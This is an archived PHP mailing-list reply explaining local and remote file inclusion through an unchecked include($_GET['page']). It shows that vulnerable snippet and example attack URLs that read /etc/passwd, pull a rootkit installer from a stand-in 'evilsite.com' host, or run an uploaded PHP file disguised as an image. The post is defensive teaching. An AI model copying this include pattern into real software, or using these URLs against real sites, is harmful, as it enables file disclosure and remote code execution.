Re: Seeking recommendations for use of include()
| From: | Jochem Maas | Date: | Wed, 14 Jun 2006 18:35:01 +0000 |
| Subject: | Re: Seeking recommendations for use of include() | ||
| References: | 1 2 3 4 5 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-238001@lists.php.net to get a copy of this message | ||
Dave M G wrote:
> Larry,
>
> Thank you for responding.
>>
>> $untrusted_var = '../../../../../../../etc/passwd';
>> include($untrusted_var);
>>
>> Or in later versions of PHP, I *think* the following may even work:
>>
>> $untrusted_var = 'http://evilsite.com/pub/evil.php';–
>> ªÕ]åXéž™�uÔÚ
>> include($untrusted_var);
>
> I'm still not sure I see the danger. By which I'm not saying that I deny
> there is danger, just that I don't see this.
>
> In both cases cited above, the malicious user has to write the code into
> my script that says to include($untrusted_var). And, again, it seems to
> me that if the malicious user has made it far enough to gain enough
> access to be able to do that, the damage is already done. They already
> have full access and full write capability, and could do any number of
> crazy things.
>
> I understand that I am being warned of a potential security risk, and I
> hope to come to understand it. But can someone show me more explicitly
> how someone could exploit a dynamic include() function with simple
> access through forms? And, can that access be exploited even when fairly
> common restrictions on form data is implemented (such as no tags and such)?
::index.php
<?php
include $_GET['page'];
?>
::urls (ignore the fact that stuff would need to be urlencoded..)
http://yoursite.com/index.php?page=/etc/passwd
http://yoursite.com/index.php?page=http://evilsite.com/installrootkit.php
that is the most simple version of the problem, now consider that people
can use security bugs in 3rd party apps to upload php files (or complete [scam] sites)
which may not be directly accessible (e.g. in ../uploads relative to the webroot) then
they may be able to do stuff like:
http://yoursite.com/index.php?page=../uploads/rootkitinstallingphpfilepretendingtobeajpeg.jpg
and what goes for GET also goes for POST and COOKIE.
>
> --
> Dave M G
>